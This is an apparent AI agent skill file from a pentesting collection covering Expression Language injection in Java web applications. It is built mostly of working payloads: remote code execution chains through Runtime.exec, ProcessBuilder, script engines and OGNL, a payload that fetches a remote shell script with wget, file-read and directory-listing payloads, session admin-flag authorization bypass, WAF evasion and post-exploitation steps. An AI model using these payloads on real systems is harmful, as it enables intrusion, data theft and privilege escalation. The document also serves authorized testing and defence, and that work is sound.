Hacktricks-skills el-injection
Expression Language (EL) injection exploitation for Java applications. Use this skill whenever you need to detect, test, or exploit EL injection vulnerabilities in JavaEE applications, Spring Framework, JSP, JSF, or any Java-based web application. Trigger this skill for EL injection payloads, detection techniques, RCE exploitation, WAF bypass, or when analyzing Java template injection vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/ssti-server-side-template-injection/el-expression-language/SKILL.MDEL Injection Exploitation
Expression Language (EL) injection is a critical vulnerability in Java applications that allows attackers to execute arbitrary code by injecting malicious expressions into template engines.
When to Use This Skill
- Testing Java web applications for EL injection vulnerabilities
- Analyzing JSP, JSF, or Spring-based applications
- Exploiting template injection in Java environments
- Bypassing WAFs for EL injection payloads
- Conducting authorized penetration testing on Java applications
Detection Methods
1. Basic Detection Payloads
Test for EL injection with these payloads:
# String operation test ${"zkz".toString().replace("k", "x")} # Expected: zxz (if vulnerable) # Simple math evaluation ${7*7} # Expected: 49 # Class access test ${"".getClass()} # Expected: class java.lang.String
2. Blind Detection (Time-Based)
# Sleep for 10 seconds ${"".getClass().forName("java.lang.Thread").sleep(10000)} # OGNL sleep variant ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString}
3. Burp Detection Pattern
# Inject in parameter value gk6q${"zkz".toString().replace("k", "x")}doap2 # If response shows "gk6qzxzdoap2", injection is confirmed
Exploitation Payloads
Basic Operations
# String manipulation ${"a".toString()} ${"dfd".replace("d","x")} # Class access ${"".getClass()} ${"".getClass().forName("java.util.Date")} # List class methods ${"".getClass().forName("java.util.Date").getMethods()[0].toString()}
Remote Code Execution (RCE)
Method 1: Runtime.exec()
# Basic RCE ${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} # With command output capture ${"".getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}
Method 2: ProcessBuilder
# ProcessBuilder RCE ${"".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY>).start()} # Full ProcessBuilder example ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
Method 3: ScriptEngineManager
# JavaScript engine RCE ${"a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")} # Alternative with facesContext ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder;x.command(\"wget\",\"http://x.x.x.x/1.sh\");")}
Method 4: OGNL-based RCE
# Linux RCE via OGNL ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="/bin/sh",#ssss[1]="-c",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString} # Windows RCE via OGNL ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="cmd",#ssss[1]="/C",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}
File Operations
Remote File Inclusion
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=new java.io.FileInputStream(#wwww),#qqqq=new java.lang.Long(#wwww.length()),#tttt=new byte[#qqqq.intValue()],#llll=#pppp.read(#tttt),#pppp.close(),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(new java.lang.String(#tttt)),#kzxs.close(),1?#xx:#request.toString}
Directory Listing
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=#wwww.listFiles(),#qqqq=@java.util.Arrays@toString(#pppp),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(#qqqq),#kzxs.close(),1?#xx:#request.toString}
Environment Inspection
# Access application scope ${applicationScope.toString()} # Access request scope ${requestScope.toString()} # Access session scope ${sessionScope.toString()} # Access init parameters ${initParam.toString()} # Access HTTP parameters ${param.X} # Replace X with parameter name # Access custom variables ${user} ${password} ${employee.FirstName}
Authorization Bypass
# Set admin flag in session ${pageContext.request.getSession().setAttribute("admin", true)} # Alternative session manipulation ${session.setAttribute("admin", true)}
WAF Bypass Techniques
1. Character Encoding
# URL encoding ${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS} # HTML entities ${$"".getClass()}
2. Alternative Syntax
# Bypass getClass restriction #{""["class"]} #{""["class"].forName("java.lang.Runtime")} # Using session storage #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
3. Spring Expression Language (SpEL) Variants
# T() function for static method calls T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') # StreamUtils for output capture T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()) # Environment variable access T(java.lang.System).getenv()[0]
Testing Workflow
Step 1: Identify Potential Injection Points
Look for:
or.jsp
file extensions.jsf- "Servlet" in response headers
- Stack traces mentioning EL or template engines
- User input reflected in responses
- Parameters that might be evaluated as expressions
Step 2: Run Detection Tests
- Start with basic payloads to confirm vulnerability
- Test blind detection if no output is visible
- Verify the EL version and available features
Step 3: Escalate to RCE
- Use Runtime.exec() for basic command execution
- Try ProcessBuilder for more complex commands
- Use ScriptEngineManager for JavaScript-based payloads
- Capture output using IOUtils or StreamUtils
Step 4: Post-Exploitation
- Inspect environment variables and scopes
- Access sensitive data from session/request
- Bypass authorization if needed
- Maintain access through file operations
Safety and Legal Considerations
⚠️ IMPORTANT: Only use these techniques on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal.
- Always obtain written permission before testing
- Document all findings for the client
- Use these payloads in controlled environments
- Report vulnerabilities responsibly